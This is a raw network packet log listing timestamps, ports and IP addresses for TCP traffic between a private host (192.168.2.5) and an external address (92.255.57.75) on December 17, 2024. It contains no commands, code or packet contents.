Dec 17, 2024 08:40:14.531534910 CET	15647	49998	92.255.57.75	192.168.2.5
Dec 17, 2024 08:40:14.531599045 CET	49998	15647	192.168.2.5	92.255.57.75
Dec 17, 2024 08:40:14.552351952 CET	15647	49998	92.255.57.75	192.168.2.5
Dec 17, 2024 08:40:14.552495956 CET	49998	15647	192.168.2.5	92.255.57.75
Dec 17, 2024 08:40:14.562583923 CET	15647	49998	92.255.57.75	192.168.2.5
Dec 17, 2024 08:40:14.562643051 CET	15647	49998	92.255.57.75	192.168.2.5
Dec 17, 2024 08:40:14.562664986 CET	49998	15647	192.168.2.5	92.255.57.75
Dec 17, 2024 08:40:14.562679052 CET	49998	15647	192.168.2.5	92.255.57.75
Dec 17, 2024 08:40:14.564009905 CET	15647	49998	92.255.57.75	192.168.2.5
Dec 17, 2024 08:40:14.564243078 CET	15647	49998	92.255.57.75	192.168.2.5
Dec 17, 2024 08:40:14.564291954 CET	49998	15647	192.168.2.5	92.255.57.75
Dec 17, 2024 08:40:14.564323902 CET	15647	49998	92.255.57.75	192.168.2.5
Dec 17, 2024 08:40:14.591773033 CET	15647	49998	92.255.57.75	192.168.2.5
Dec 17, 2024 08:40:14.591876984 CET	15647	49998	92.255.57.75	192.168.2.5
Dec 17, 2024 08:40:14.591882944 CET	49998	15647	192.168.2.5	92.255.57.75
Dec 17, 2024 08:40:14.599878073 CET	15647	49998	92.255.57.75	192.168.2.5
Dec 17, 2024 08:40:14.599926949 CET	49998	15647	192.168.2.5	92.255.57.75
Dec 17, 2024 08:40:14.601458073 CET	15647	49998	92.255.57.75	192.168.2.5
Dec 17, 2024 08:40:14.617875099 CET	15647	49998	92.255.57.75	192.168.2.5
Dec 17, 2024 08:40:14.617965937 CET	49998	15647	192.168.2.5	92.255.57.75
Dec 17, 2024 08:40:14.618061066 CET	15647	49998	92.255.57.75	192.168.2.5
Dec 17, 2024 08:40:14.635108948 CET	15647	49998	92.255.57.75	192.168.2.5
Dec 17, 2024 08:40:14.636320114 CET	15647	49998	92.255.57.75	192.168.2.5
Dec 17, 2024 08:40:14.636358976 CET	49998	15647	192.168.2.5	92.255.57.75
Dec 17, 2024 08:40:14.636394024 CET	15647	49998	92.255.57.75	192.168.2.5
Dec 17, 2024 08:40:14.640223026 CET	9000	50037	92.255.57.75	192.168.2.5
Dec 17, 2024 08:40:14.640340090 CET	9000	50037	92.255.57.75	192.168.2.5
Dec 17, 2024 08:40:14.640387058 CET	50037	9000	192.168.2.5	92.255.57.75
Dec 17, 2024 08:40:14.640403032 CET	50037	9000	192.168.2.5	92.255.57.75
Dec 17, 2024 08:40:14.651369095 CET	15647	49998	92.255.57.75	192.168.2.5
Dec 17, 2024 08:40:14.653167963 CET	15647	49998	92.255.57.75	192.168.2.5
Dec 17, 2024 08:40:14.653209925 CET	49998	15647	192.168.2.5	92.255.57.75
Dec 17, 2024 08:40:14.653244019 CET	15647	49998	92.255.57.75	192.168.2.5
Dec 17, 2024 08:40:14.688471079 CET	15647	49998	92.255.57.75	192.168.2.5
Dec 17, 2024 08:40:14.691817999 CET	49998	15647	192.168.2.5	92.255.57.75
Dec 17, 2024 08:40:14.703280926 CET	15647	49998	92.255.57.75	192.168.2.5
Dec 17, 2024 08:40:14.703340054 CET	49998	15647	192.168.2.5	92.255.57.75
Dec 17, 2024 08:40:14.703397989 CET	15647	49998	92.255.57.75	192.168.2.5
Dec 17, 2024 08:40:14.707206964 CET	15647	49998	92.255.57.75	192.168.2.5
Dec 17, 2024 08:40:14.707273006 CET	49998	15647	192.168.2.5	92.255.57.75
Dec 17, 2024 08:40:14.719681978 CET	15647	49998	92.255.57.75	192.168.2.5
Dec 17, 2024 08:40:14.719799042 CET	49998	15647	192.168.2.5	92.255.57.75
Dec 17, 2024 08:40:14.722467899 CET	15647	49998	92.255.57.75	192.168.2.5
Dec 17, 2024 08:40:14.738735914 CET	15647	49998	92.255.57.75	192.168.2.5
Dec 17, 2024 08:40:14.738873005 CET	15647	49998	92.255.57.75	192.168.2.5
Dec 17, 2024 08:40:14.738960981 CET	49998	15647	192.168.2.5	92.255.57.75
Dec 17, 2024 08:40:14.744345903 CET	15647	49998	92.255.57.75	192.168.2.5
Dec 17, 2024 08:40:14.744417906 CET	49998	15647	192.168.2.5	92.255.57.75
Dec 17, 2024 08:40:14.744724035 CET	50042	9000	192.168.2.5	92.255.57.75
Dec 17, 2024 08:40:14.757553101 CET	15647	49998	92.255.57.75	192.168.2.5
Dec 17, 2024 08:40:14.757623911 CET	49998	15647	192.168.2.5	92.255.57.75
Dec 17, 2024 08:40:14.757641077 CET	15647	49998	92.255.57.75	192.168.2.5
Dec 17, 2024 08:40:14.760080099 CET	9000	50037	92.255.57.75	192.168.2.5
Dec 17, 2024 08:40:14.776460886 CET	15647	49998	92.255.57.75	192.168.2.5
Dec 17, 2024 08:40:14.776472092 CET	15647	49998	92.255.57.75	192.168.2.5
Dec 17, 2024 08:40:14.776518106 CET	49998	15647	192.168.2.5	92.255.57.75
Dec 17, 2024 08:40:14.795921087 CET	15647	49998	92.255.57.75	192.168.2.5
Dec 17, 2024 08:40:14.795933008 CET	15647	49998	92.255.57.75	192.168.2.5
Dec 17, 2024 08:40:14.795981884 CET	49998	15647	192.168.2.5	92.255.57.75
Dec 17, 2024 08:40:14.807821035 CET	15647	49998	92.255.57.75	192.168.2.5
Dec 17, 2024 08:40:14.807873011 CET	49998	15647	192.168.2.5	92.255.57.75
Dec 17, 2024 08:40:14.814675093 CET	15647	49998	92.255.57.75	192.168.2.5
Dec 17, 2024 08:40:14.814742088 CET	49998	15647	192.168.2.5	92.255.57.75
Dec 17, 2024 08:40:14.814749956 CET	15647	49998	92.255.57.75	192.168.2.5
Dec 17, 2024 08:40:14.826988935 CET	15647	49998	92.255.57.75	192.168.2.5
Dec 17, 2024 08:40:14.827048063 CET	49998	15647	192.168.2.5	92.255.57.75
Dec 17, 2024 08:40:14.827100039 CET	15647	49998	92.255.57.75	192.168.2.5
Dec 17, 2024 08:40:14.843597889 CET	15647	49998	92.255.57.75	192.168.2.5
Dec 17, 2024 08:40:14.843888044 CET	49998	15647	192.168.2.5	92.255.57.75
Dec 17, 2024 08:40:14.844738007 CET	15647	49998	92.255.57.75	192.168.2.5
Dec 17, 2024 08:40:14.844794989 CET	49998	15647	192.168.2.5	92.255.57.75
Dec 17, 2024 08:40:14.844800949 CET	15647	49998	92.255.57.75	192.168.2.5
Dec 17, 2024 08:40:14.844844103 CET	49998	15647	192.168.2.5	92.255.57.75
Dec 17, 2024 08:40:14.864878893 CET	15647	49998	92.255.57.75	192.168.2.5
Dec 17, 2024 08:40:14.864939928 CET	49998	15647	192.168.2.5	92.255.57.75
Dec 17, 2024 08:40:14.866688967 CET	9000	50042	92.255.57.75	192.168.2.5
Dec 17, 2024 08:40:14.866748095 CET	50042	9000	192.168.2.5	92.255.57.75
Dec 17, 2024 08:40:14.867158890 CET	50042	9000	192.168.2.5	92.255.57.75
Dec 17, 2024 08:40:14.874689102 CET	15647	49998	92.255.57.75	192.168.2.5
Dec 17, 2024 08:40:14.874779940 CET	15647	49998	92.255.57.75	192.168.2.5
Dec 17, 2024 08:40:14.874830961 CET	49998	15647	192.168.2.5	92.255.57.75
Dec 17, 2024 08:40:14.895132065 CET	15647	49998	92.255.57.75	192.168.2.5
Dec 17, 2024 08:40:14.895832062 CET	49998	15647	192.168.2.5	92.255.57.75
Dec 17, 2024 08:40:14.904473066 CET	15647	49998	92.255.57.75	192.168.2.5
Dec 17, 2024 08:40:14.904525042 CET	15647	49998	92.255.57.75	192.168.2.5
Dec 17, 2024 08:40:14.904635906 CET	49998	15647	192.168.2.5	92.255.57.75
Dec 17, 2024 08:40:14.927700996 CET	15647	49998	92.255.57.75	192.168.2.5
Dec 17, 2024 08:40:14.927876949 CET	49998	15647	192.168.2.5	92.255.57.75
Dec 17, 2024 08:40:14.929816961 CET	15647	49998	92.255.57.75	192.168.2.5
Dec 17, 2024 08:40:14.929897070 CET	49998	15647	192.168.2.5	92.255.57.75
Dec 17, 2024 08:40:14.946871996 CET	15647	49998	92.255.57.75	192.168.2.5
Dec 17, 2024 08:40:14.947952986 CET	49998	15647	192.168.2.5	92.255.57.75
Dec 17, 2024 08:40:14.949392080 CET	15647	49998	92.255.57.75	192.168.2.5
Dec 17, 2024 08:40:14.949443102 CET	49998	15647	192.168.2.5	92.255.57.75
Dec 17, 2024 08:40:14.966849089 CET	15647	49998	92.255.57.75	192.168.2.5
Dec 17, 2024 08:40:14.966981888 CET	15647	49998	92.255.57.75	192.168.2.5
Dec 17, 2024 08:40:14.967097044 CET	49998	15647	192.168.2.5	92.255.57.75
Dec 17, 2024 08:40:14.986905098 CET	9000	50042	92.255.57.75	192.168.2.5
Dec 17, 2024 08:40:14.991139889 CET	49998	15647	192.168.2.5	92.255.57.75
Dec 17, 2024 08:40:14.991827011 CET	15647	49998	92.255.57.75	192.168.2.5
Dec 17, 2024 08:40:14.993575096 CET	49998	15647	192.168.2.5	92.255.57.75
Dec 17, 2024 08:40:15.003643036 CET	15647	49998	92.255.57.75	192.168.2.5
Dec 17, 2024 08:40:15.003886938 CET	49998	15647	192.168.2.5	92.255.57.75
Dec 17, 2024 08:40:15.021759987 CET	49998	15647	192.168.2.5	92.255.57.75
Dec 17, 2024 08:40:15.039148092 CET	49998	15647	192.168.2.5	92.255.57.75
Dec 17, 2024 08:40:15.047630072 CET	15647	49998	92.255.57.75	192.168.2.5
Dec 17, 2024 08:40:15.047832966 CET	49998	15647	192.168.2.5	92.255.57.75
Dec 17, 2024 08:40:15.057609081 CET	15647	49998	92.255.57.75	192.168.2.5
Dec 17, 2024 08:40:15.059895039 CET	49998	15647	192.168.2.5	92.255.57.75
Dec 17, 2024 08:40:15.069159985 CET	15647	49998	92.255.57.75	192.168.2.5
Dec 17, 2024 08:40:15.071862936 CET	49998	15647	192.168.2.5	92.255.57.75
Dec 17, 2024 08:40:15.087389946 CET	49998	15647	192.168.2.5	92.255.57.75
Dec 17, 2024 08:40:15.088346004 CET	15647	49998	92.255.57.75	192.168.2.5
Dec 17, 2024 08:40:15.091880083 CET	49998	15647	192.168.2.5	92.255.57.75
Dec 17, 2024 08:40:15.109105110 CET	49998	15647	192.168.2.5	92.255.57.75
Dec 17, 2024 08:40:15.111080885 CET	15647	49998	92.255.57.75	192.168.2.5
Dec 17, 2024 08:40:15.111812115 CET	49998	15647	192.168.2.5	92.255.57.75
Dec 17, 2024 08:40:15.123611927 CET	15647	49998	92.255.57.75	192.168.2.5
Dec 17, 2024 08:40:15.123841047 CET	49998	15647	192.168.2.5	92.255.57.75
Dec 17, 2024 08:40:15.139919043 CET	49998	15647	192.168.2.5	92.255.57.75
Dec 17, 2024 08:40:15.141581059 CET	15647	49998	92.255.57.75	192.168.2.5
Dec 17, 2024 08:40:15.157763958 CET	49998	15647	192.168.2.5	92.255.57.75
Dec 17, 2024 08:40:15.158952951 CET	15647	49998	92.255.57.75	192.168.2.5
Dec 17, 2024 08:40:15.161859989 CET	49998	15647	192.168.2.5	92.255.57.75
Dec 17, 2024 08:40:15.179761887 CET	15647	49998	92.255.57.75	192.168.2.5
Dec 17, 2024 08:40:15.179868937 CET	49998	15647	192.168.2.5	92.255.57.75
Dec 17, 2024 08:40:15.180377007 CET	15647	49998	92.255.57.75	192.168.2.5
Dec 17, 2024 08:40:15.180457115 CET	15647	49998	92.255.57.75	192.168.2.5
Dec 17, 2024 08:40:15.180541039 CET	49998	15647	192.168.2.5	92.255.57.75
Dec 17, 2024 08:40:15.200241089 CET	49998	15647	192.168.2.5	92.255.57.75
Dec 17, 2024 08:40:15.207195044 CET	15647	49998	92.255.57.75	192.168.2.5
Dec 17, 2024 08:40:15.207662106 CET	15647	49998	92.255.57.75	192.168.2.5
Dec 17, 2024 08:40:15.207813978 CET	49998	15647	192.168.2.5	92.255.57.75
Dec 17, 2024 08:40:15.227096081 CET	49998	15647	192.168.2.5	92.255.57.75
Dec 17, 2024 08:40:15.228900909 CET	15647	49998	92.255.57.75	192.168.2.5
Dec 17, 2024 08:40:15.230498075 CET	49998	15647	192.168.2.5	92.255.57.75
Dec 17, 2024 08:40:15.231538057 CET	15647	49998	92.255.57.75	192.168.2.5
Dec 17, 2024 08:40:15.234741926 CET	49998	15647	192.168.2.5	92.255.57.75
Dec 17, 2024 08:40:15.259691954 CET	15647	49998	92.255.57.75	192.168.2.5
Dec 17, 2024 08:40:15.259789944 CET	49998	15647	192.168.2.5	92.255.57.75
Dec 17, 2024 08:40:15.277144909 CET	49998	15647	192.168.2.5	92.255.57.75
Dec 17, 2024 08:40:15.277604103 CET	15647	49998	92.255.57.75	192.168.2.5
Dec 17, 2024 08:40:15.278687000 CET	49998	15647	192.168.2.5	92.255.57.75
Dec 17, 2024 08:40:15.278959036 CET	15647	49998	92.255.57.75	192.168.2.5
Dec 17, 2024 08:40:15.279434919 CET	15647	49998	92.255.57.75	192.168.2.5
Dec 17, 2024 08:40:15.279448032 CET	15647	49998	92.255.57.75	192.168.2.5
Dec 17, 2024 08:40:15.279511929 CET	49998	15647	192.168.2.5	92.255.57.75
Dec 17, 2024 08:40:15.299698114 CET	15647	49998	92.255.57.75	192.168.2.5
Dec 17, 2024 08:40:15.300169945 CET	15647	49998	92.255.57.75	192.168.2.5
Dec 17, 2024 08:40:15.300333977 CET	49998	15647	192.168.2.5	92.255.57.75
Dec 17, 2024 08:40:15.303267002 CET	15647	49998	92.255.57.75	192.168.2.5
Dec 17, 2024 08:40:15.306309938 CET	49998	15647	192.168.2.5	92.255.57.75
Dec 17, 2024 08:40:15.320122957 CET	15647	49998	92.255.57.75	192.168.2.5
Dec 17, 2024 08:40:15.321676970 CET	49998	15647	192.168.2.5	92.255.57.75
Dec 17, 2024 08:40:15.340480089 CET	49998	15647	192.168.2.5	92.255.57.75
Dec 17, 2024 08:40:15.346793890 CET	15647	49998	92.255.57.75	192.168.2.5
Dec 17, 2024 08:40:15.347326040 CET	49998	15647	192.168.2.5	92.255.57.75
Dec 17, 2024 08:40:15.350493908 CET	15647	49998	92.255.57.75	192.168.2.5
Dec 17, 2024 08:40:15.354196072 CET	49998	15647	192.168.2.5	92.255.57.75
Dec 17, 2024 08:40:15.365012884 CET	15647	49998	92.255.57.75	192.168.2.5
Dec 17, 2024 08:40:15.365078926 CET	15647	49998	92.255.57.75	192.168.2.5
Dec 17, 2024 08:40:15.365083933 CET	49998	15647	192.168.2.5	92.255.57.75
Dec 17, 2024 08:40:15.365235090 CET	49998	15647	192.168.2.5	92.255.57.75
Dec 17, 2024 08:40:15.366533995 CET	15647	49998	92.255.57.75	192.168.2.5
Dec 17, 2024 08:40:15.366580963 CET	49998	15647	192.168.2.5	92.255.57.75
Dec 17, 2024 08:40:15.396642923 CET	49998	15647	192.168.2.5	92.255.57.75
Dec 17, 2024 08:40:15.396962881 CET	15647	49998	92.255.57.75	192.168.2.5
Dec 17, 2024 08:40:15.398530006 CET	15647	49998	92.255.57.75	192.168.2.5
Dec 17, 2024 08:40:15.399208069 CET	15647	49998	92.255.57.75	192.168.2.5
Dec 17, 2024 08:40:15.402749062 CET	15647	49998	92.255.57.75	192.168.2.5
Dec 17, 2024 08:40:15.402797937 CET	15647	49998	92.255.57.75	192.168.2.5
Dec 17, 2024 08:40:15.402955055 CET	49998	15647	192.168.2.5	92.255.57.75
Dec 17, 2024 08:40:15.404380083 CET	15647	49998	92.255.57.75	192.168.2.5
Dec 17, 2024 08:40:15.404428005 CET	49998	15647	192.168.2.5	92.255.57.75
Dec 17, 2024 08:40:15.426002979 CET	15647	49998	92.255.57.75	192.168.2.5
Dec 17, 2024 08:40:15.426111937 CET	49998	15647	192.168.2.5	92.255.57.75
Dec 17, 2024 08:40:15.428653002 CET	15647	49998	92.255.57.75	192.168.2.5
Dec 17, 2024 08:40:15.428708076 CET	15647	49998	92.255.57.75	192.168.2.5
Dec 17, 2024 08:40:15.428781986 CET	49998	15647	192.168.2.5	92.255.57.75
Dec 17, 2024 08:40:15.457946062 CET	15647	49998	92.255.57.75	192.168.2.5
Dec 17, 2024 08:40:15.457993031 CET	15647	49998	92.255.57.75	192.168.2.5
Dec 17, 2024 08:40:15.458084106 CET	49998	15647	192.168.2.5	92.255.57.75
Dec 17, 2024 08:40:15.460417032 CET	15647	49998	92.255.57.75	192.168.2.5
Dec 17, 2024 08:40:15.461179018 CET	49998	15647	192.168.2.5	92.255.57.75
Dec 17, 2024 08:40:15.473995924 CET	15647	49998	92.255.57.75	192.168.2.5
Dec 17, 2024 08:40:15.474121094 CET	49998	15647	192.168.2.5	92.255.57.75
Dec 17, 2024 08:40:15.483195066 CET	15647	49998	92.255.57.75	192.168.2.5
Dec 17, 2024 08:40:15.483285904 CET	49998	15647	192.168.2.5	92.255.57.75
Dec 17, 2024 08:40:15.483361959 CET	15647	49998	92.255.57.75	192.168.2.5
Dec 17, 2024 08:40:15.492017984 CET	15647	49998	92.255.57.75	192.168.2.5
Dec 17, 2024 08:40:15.492086887 CET	49998	15647	192.168.2.5	92.255.57.75
Dec 17, 2024 08:40:15.506974936 CET	15647	49998	92.255.57.75	192.168.2.5
Dec 17, 2024 08:40:15.507067919 CET	15647	49998	92.255.57.75	192.168.2.5
Dec 17, 2024 08:40:15.507185936 CET	49998	15647	192.168.2.5	92.255.57.75
Dec 17, 2024 08:40:15.516599894 CET	15647	49998	92.255.57.75	192.168.2.5
Dec 17, 2024 08:40:15.516706944 CET	49998	15647	192.168.2.5	92.255.57.75
Dec 17, 2024 08:40:15.523963928 CET	15647	49998	92.255.57.75	192.168.2.5
Dec 17, 2024 08:40:15.524017096 CET	49998	15647	192.168.2.5	92.255.57.75
Dec 17, 2024 08:40:15.524065018 CET	15647	49998	92.255.57.75	192.168.2.5
Dec 17, 2024 08:40:15.545355082 CET	15647	49998	92.255.57.75	192.168.2.5
Dec 17, 2024 08:40:15.545413017 CET	49998	15647	192.168.2.5	92.255.57.75
Dec 17, 2024 08:40:15.545466900 CET	15647	49998	92.255.57.75	192.168.2.5
Dec 17, 2024 08:40:15.556823969 CET	15647	49998	92.255.57.75	192.168.2.5
Dec 17, 2024 08:40:15.557547092 CET	49998	15647	192.168.2.5	92.255.57.75
Dec 17, 2024 08:40:15.575601101 CET	15647	49998	92.255.57.75	192.168.2.5
Dec 17, 2024 08:40:15.575634956 CET	15647	49998	92.255.57.75	192.168.2.5
Dec 17, 2024 08:40:15.575768948 CET	49998	15647	192.168.2.5	92.255.57.75
Dec 17, 2024 08:40:15.580930948 CET	15647	49998	92.255.57.75	192.168.2.5
Dec 17, 2024 08:40:15.580991030 CET	49998	15647	192.168.2.5	92.255.57.75
Dec 17, 2024 08:40:15.589149952 CET	15647	49998	92.255.57.75	192.168.2.5
Dec 17, 2024 08:40:15.589224100 CET	15647	49998	92.255.57.75	192.168.2.5
Dec 17, 2024 08:40:15.589281082 CET	49998	15647	192.168.2.5	92.255.57.75
Dec 17, 2024 08:40:15.597372055 CET	15647	49998	92.255.57.75	192.168.2.5
Dec 17, 2024 08:40:15.597429991 CET	49998	15647	192.168.2.5	92.255.57.75
Dec 17, 2024 08:40:15.597431898 CET	15647	49998	92.255.57.75	192.168.2.5
Dec 17, 2024 08:40:15.611958027 CET	15647	49998	92.255.57.75	192.168.2.5
Dec 17, 2024 08:40:15.612014055 CET	49998	15647	192.168.2.5	92.255.57.75
Dec 17, 2024 08:40:15.612298965 CET	15647	49998	92.255.57.75	192.168.2.5
Dec 17, 2024 08:40:15.633882046 CET	15647	49998	92.255.57.75	192.168.2.5
Dec 17, 2024 08:40:15.633940935 CET	15647	49998	92.255.57.75	192.168.2.5
Dec 17, 2024 08:40:15.634017944 CET	49998	15647	192.168.2.5	92.255.57.75
Dec 17, 2024 08:40:15.643410921 CET	15647	49998	92.255.57.75	192.168.2.5
Dec 17, 2024 08:40:15.643496990 CET	15647	49998	92.255.57.75	192.168.2.5
Dec 17, 2024 08:40:15.643503904 CET	49998	15647	192.168.2.5	92.255.57.75
Dec 17, 2024 08:40:15.643537998 CET	49998	15647	192.168.2.5	92.255.57.75
Dec 17, 2024 08:40:15.649892092 CET	15647	49998	92.255.57.75	192.168.2.5
Dec 17, 2024 08:40:15.649995089 CET	49998	15647	192.168.2.5	92.255.57.75
Dec 17, 2024 08:40:15.669739008 CET	15647	49998	92.255.57.75	192.168.2.5
Dec 17, 2024 08:40:15.669862032 CET	15647	49998	92.255.57.75	192.168.2.5
Dec 17, 2024 08:40:15.669923067 CET	49998	15647	192.168.2.5	92.255.57.75
Dec 17, 2024 08:40:15.695974112 CET	15647	49998	92.255.57.75	192.168.2.5
Dec 17, 2024 08:40:15.696633101 CET	15647	49998	92.255.57.75	192.168.2.5
Dec 17, 2024 08:40:15.696706057 CET	49998	15647	192.168.2.5	92.255.57.75
Dec 17, 2024 08:40:15.696773052 CET	15647	49998	92.255.57.75	192.168.2.5
Dec 17, 2024 08:40:15.696854115 CET	49998	15647	192.168.2.5	92.255.57.75
Dec 17, 2024 08:40:15.708964109 CET	15647	49998	92.255.57.75	192.168.2.5
Dec 17, 2024 08:40:15.709080935 CET	49998	15647	192.168.2.5	92.255.57.75
Dec 17, 2024 08:40:15.718476057 CET	15647	49998	92.255.57.75	192.168.2.5
Dec 17, 2024 08:40:15.718522072 CET	15647	49998	92.255.57.75	192.168.2.5
Dec 17, 2024 08:40:15.718547106 CET	49998	15647	192.168.2.5	92.255.57.75
Dec 17, 2024 08:40:15.737988949 CET	15647	49998	92.255.57.75	192.168.2.5
Dec 17, 2024 08:40:15.739860058 CET	49998	15647	192.168.2.5	92.255.57.75
Dec 17, 2024 08:40:15.741575956 CET	15647	49998	92.255.57.75	192.168.2.5
Dec 17, 2024 08:40:15.741662025 CET	49998	15647	192.168.2.5	92.255.57.75
Dec 17, 2024 08:40:15.741669893 CET	15647	49998	92.255.57.75	192.168.2.5
Dec 17, 2024 08:40:15.763612986 CET	49998	15647	192.168.2.5	92.255.57.75
Dec 17, 2024 08:40:15.765347958 CET	15647	49998	92.255.57.75	192.168.2.5
Dec 17, 2024 08:40:15.765575886 CET	49998	15647	192.168.2.5	92.255.57.75
Dec 17, 2024 08:40:15.767693043 CET	15647	49998	92.255.57.75	192.168.2.5
Dec 17, 2024 08:40:15.767762899 CET	49998	15647	192.168.2.5	92.255.57.75
Dec 17, 2024 08:40:15.783132076 CET	15647	49998	92.255.57.75	192.168.2.5
Dec 17, 2024 08:40:15.783216953 CET	15647	49998	92.255.57.75	192.168.2.5
Dec 17, 2024 08:40:15.783262014 CET	49998	15647	192.168.2.5	92.255.57.75
Dec 17, 2024 08:40:15.789206982 CET	15647	49998	92.255.57.75	192.168.2.5
Dec 17, 2024 08:40:15.789465904 CET	49998	15647	192.168.2.5	92.255.57.75
Dec 17, 2024 08:40:15.817539930 CET	15647	49998	92.255.57.75	192.168.2.5
Dec 17, 2024 08:40:15.817636967 CET	15647	49998	92.255.57.75	192.168.2.5
Dec 17, 2024 08:40:15.817733049 CET	49998	15647	192.168.2.5	92.255.57.75
Dec 17, 2024 08:40:15.838439941 CET	15647	49998	92.255.57.75	192.168.2.5
Dec 17, 2024 08:40:15.839673996 CET	15647	49998	92.255.57.75	192.168.2.5
Dec 17, 2024 08:40:15.839761019 CET	15647	49998	92.255.57.75	192.168.2.5
Dec 17, 2024 08:40:15.839770079 CET	49998	15647	192.168.2.5	92.255.57.75
Dec 17, 2024 08:40:15.839833975 CET	49998	15647	192.168.2.5	92.255.57.75
Dec 17, 2024 08:40:15.861522913 CET	15647	49998	92.255.57.75	192.168.2.5
Dec 17, 2024 08:40:15.869564056 CET	15647	49998	92.255.57.75	192.168.2.5
Dec 17, 2024 08:40:15.869649887 CET	49998	15647	192.168.2.5	92.255.57.75
Dec 17, 2024 08:40:15.883435965 CET	15647	49998	92.255.57.75	192.168.2.5
Dec 17, 2024 08:40:15.883670092 CET	49998	15647	192.168.2.5	92.255.57.75
Dec 17, 2024 08:40:15.887482882 CET	15647	49998	92.255.57.75	192.168.2.5
Dec 17, 2024 08:40:15.887543917 CET	49998	15647	192.168.2.5	92.255.57.75
Dec 17, 2024 08:40:15.904920101 CET	49998	15647	192.168.2.5	92.255.57.75
Dec 17, 2024 08:40:15.909116983 CET	15647	49998	92.255.57.75	192.168.2.5
Dec 17, 2024 08:40:15.909337997 CET	15647	49998	92.255.57.75	192.168.2.5
Dec 17, 2024 08:40:15.909440994 CET	49998	15647	192.168.2.5	92.255.57.75
Dec 17, 2024 08:40:15.937422037 CET	15647	49998	92.255.57.75	192.168.2.5
Dec 17, 2024 08:40:15.937961102 CET	49998	15647	192.168.2.5	92.255.57.75
Dec 17, 2024 08:40:15.938627958 CET	15647	49998	92.255.57.75	192.168.2.5
Dec 17, 2024 08:40:15.938674927 CET	15647	49998	92.255.57.75	192.168.2.5
Dec 17, 2024 08:40:15.938755035 CET	49998	15647	192.168.2.5	92.255.57.75
Dec 17, 2024 08:40:15.959218025 CET	15647	49998	92.255.57.75	192.168.2.5
Dec 17, 2024 08:40:15.959274054 CET	15647	49998	92.255.57.75	192.168.2.5
Dec 17, 2024 08:40:15.959414005 CET	49998	15647	192.168.2.5	92.255.57.75
Dec 17, 2024 08:40:15.961760044 CET	15647	49998	92.255.57.75	192.168.2.5
Dec 17, 2024 08:40:15.962013006 CET	49998	15647	192.168.2.5	92.255.57.75
Dec 17, 2024 08:40:15.985124111 CET	49998	15647	192.168.2.5	92.255.57.75
Dec 17, 2024 08:40:16.005286932 CET	49998	15647	192.168.2.5	92.255.57.75
Dec 17, 2024 08:40:16.007297993 CET	15647	49998	92.255.57.75	192.168.2.5
Dec 17, 2024 08:40:16.007361889 CET	49998	15647	192.168.2.5	92.255.57.75
Dec 17, 2024 08:40:16.024738073 CET	49998	15647	192.168.2.5	92.255.57.75
Dec 17, 2024 08:40:16.024759054 CET	15647	49998	92.255.57.75	192.168.2.5
Dec 17, 2024 08:40:16.030621052 CET	15647	49998	92.255.57.75	192.168.2.5
Dec 17, 2024 08:40:16.030642986 CET	15647	49998	92.255.57.75	192.168.2.5
Dec 17, 2024 08:40:16.030711889 CET	49998	15647	192.168.2.5	92.255.57.75
Dec 17, 2024 08:40:16.050991058 CET	49998	15647	192.168.2.5	92.255.57.75
Dec 17, 2024 08:40:16.069309950 CET	49998	15647	192.168.2.5	92.255.57.75
Dec 17, 2024 08:40:16.075438976 CET	15647	49998	92.255.57.75	192.168.2.5
Dec 17, 2024 08:40:16.075865984 CET	49998	15647	192.168.2.5	92.255.57.75
Dec 17, 2024 08:40:16.081733942 CET	15647	49998	92.255.57.75	192.168.2.5
Dec 17, 2024 08:40:16.083864927 CET	49998	15647	192.168.2.5	92.255.57.75
Dec 17, 2024 08:40:16.095202923 CET	15647	49998	92.255.57.75	192.168.2.5
Dec 17, 2024 08:40:16.095859051 CET	49998	15647	192.168.2.5	92.255.57.75
Dec 17, 2024 08:40:16.105005026 CET	15647	49998	92.255.57.75	192.168.2.5
Dec 17, 2024 08:40:16.107847929 CET	49998	15647	192.168.2.5	92.255.57.75
Dec 17, 2024 08:40:16.124866962 CET	49998	15647	192.168.2.5	92.255.57.75
Dec 17, 2024 08:40:16.125102043 CET	15647	49998	92.255.57.75	192.168.2.5
Dec 17, 2024 08:40:16.127821922 CET	49998	15647	192.168.2.5	92.255.57.75
Dec 17, 2024 08:40:16.144246101 CET	49998	15647	192.168.2.5	92.255.57.75
Dec 17, 2024 08:40:16.144690037 CET	15647	49998	92.255.57.75	192.168.2.5
Dec 17, 2024 08:40:16.147819996 CET	49998	15647	192.168.2.5	92.255.57.75
Dec 17, 2024 08:40:16.150469065 CET	15647	49998	92.255.57.75	192.168.2.5
Dec 17, 2024 08:40:16.150543928 CET	49998	15647	192.168.2.5	92.255.57.75
Dec 17, 2024 08:40:16.166693926 CET	49998	15647	192.168.2.5	92.255.57.75
Dec 17, 2024 08:40:16.170958042 CET	15647	49998	92.255.57.75	192.168.2.5
Dec 17, 2024 08:40:16.171835899 CET	49998	15647	192.168.2.5	92.255.57.75
Dec 17, 2024 08:40:16.182897091 CET	15647	49998	92.255.57.75	192.168.2.5
Dec 17, 2024 08:40:16.182992935 CET	15647	49998	92.255.57.75	192.168.2.5
Dec 17, 2024 08:40:16.183105946 CET	49998	15647	192.168.2.5	92.255.57.75
Dec 17, 2024 08:40:16.184489965 CET	15647	49998	92.255.57.75	192.168.2.5
Dec 17, 2024 08:40:16.189205885 CET	15647	49998	92.255.57.75	192.168.2.5
Dec 17, 2024 08:40:16.191725969 CET	49998	15647	192.168.2.5	92.255.57.75
Dec 17, 2024 08:40:16.198265076 CET	9000	50042	92.255.57.75	192.168.2.5
Dec 17, 2024 08:40:16.198401928 CET	9000	50042	92.255.57.75	192.168.2.5
Dec 17, 2024 08:40:16.198426008 CET	50042	9000	192.168.2.5	92.255.57.75
Dec 17, 2024 08:40:16.198450089 CET	50042	9000	192.168.2.5	92.255.57.75
Dec 17, 2024 08:40:16.201683998 CET	15647	49998	92.255.57.75	192.168.2.5
Dec 17, 2024 08:40:16.201715946 CET	15647	49998	92.255.57.75	192.168.2.5
Dec 17, 2024 08:40:16.201764107 CET	49998	15647	192.168.2.5	92.255.57.75
Dec 17, 2024 08:40:16.215679884 CET	15647	49998	92.255.57.75	192.168.2.5
Dec 17, 2024 08:40:16.215820074 CET	49998	15647	192.168.2.5	92.255.57.75
Dec 17, 2024 08:40:16.235728979 CET	49998	15647	192.168.2.5	92.255.57.75
Dec 17, 2024 08:40:16.244606972 CET	15647	49998	92.255.57.75	192.168.2.5
Dec 17, 2024 08:40:16.244704008 CET	49998	15647	192.168.2.5	92.255.57.75
Dec 17, 2024 08:40:16.247520924 CET	15647	49998	92.255.57.75	192.168.2.5
